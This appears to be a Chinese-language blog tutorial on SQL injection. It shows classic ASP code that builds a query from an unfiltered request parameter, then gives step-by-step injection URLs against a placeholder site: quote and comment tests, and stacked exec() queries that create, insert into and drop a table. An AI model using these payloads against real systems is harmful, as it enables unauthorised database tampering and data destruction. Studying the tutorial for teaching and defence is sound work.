Sql注入深入解析一

前几个星期,我写的一个网站又被人给sql注入了,这是第N次发生了,看着满目疮痍的网站,杀人的心都有。于是熬了一个夜,将所有带'号的写入都给抓下来了过了一个星期,终于抓到代码了。经过一番研究,终于搞明白了

 

也曾经看过好多这方面的文章,但是一直都没有真正搞明白,主要原因是作者没有写的详细,鉴于此,我决定写一个很详细的注入解析

 

下边是一个常见的显示log表第一列与第三列的过程

<%

call showLog()

 

Sub showLog()
    dim sql,rs,fn
    fn = request("fn")
    '注意,这里没有过滤'


    if fn = "" then
         sql = "select top 10  * from log"
    else
         sql = "select top 10  * from log where sysFunName='"&fn&"'"
    end if

    set rs = server.createObject("ADODB.RecordSet")
    rs.open sql,conn,1,1

    if rs.eof or rs.bof then
    else
        do until rs.eof
            response.write (rs(0)&","&rs(2)&"<br>")
            rs.movenext
        loop
    end if

End Sub
%>

 

这里暂且以字符型为例,int暂不考虑http://www.*.com/index.asp?id=1

 

 

1、在网页上这么调用,正常调用

http://www.*.com/index.asp?fn=登录日志

实际代码将这么执行 

select top 10  * from log where sysFunName='登陆日志'

 

2、此时,如果在地址栏这么输入,测试'

http://www.*.com/index.asp?fn=登录日志'

 

实际代码将这么执行

select top 10  * from log where sysFunName='登陆日志''

这个语句是错误的,不会执行,此时网页上可能什么都没有提示,重申一下,此时'没有被屏蔽。

工具-->Intenet选项-->高级-->显示友好HTTP错误信息,取消这前边的勾,错误信息就会显示出来,这个不一定,我试过,有时行,有时不行

3、此时,如果在地址栏这么输入,测试'--

http://www.*.com/index.asp?fn=登录日志'--

 

实际代码将这么执行

 

select top 10  * from log where sysFunName='登陆日志'--'

这样的话,就不会出错了

 

 

4、如果在地址栏这么输入--建立表格

 

http://www.*.com/index.asp?fn=登录日志';exec('Create table Test(Id int,Username varchar(255),Password varchar(255),Privs int)')--

实际代码将这么执行

 

select top 10  * from log where sysFunName='登陆日志';exec('Create table Test(ID int,Username varchar(255),Password varchar(255),Privs int)')--

 

这样,就在数据库中建立了一个表Test

 

 

 

 

 

 

5、如果在地址栏这么输入--加入数据

 

 

http://www.*.com/index.asp?fn=登录日志';exec('insert Test (ID,Privs) values(1,1)')--

实际代码将这么执行

 

select top 10  * from log where sysFunName='登陆日志';exec('Insert Test(ID,Privs) values(1,1)')--

 

 

这样,就在数据库中添加了一条数据

 

 

6、如果在地址栏这么输入--删除表格

 

 

http://www.*.com/index.asp?fn=登录日志';exec('drop table Test')--

 

实际代码将这么执行

select top 10  * from log where sysFunName='登陆日志';exec('drop  table Test')--

 

这样,就在数据库中删除表Test

 

  

 

 下一节将讲解如何注入字符

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值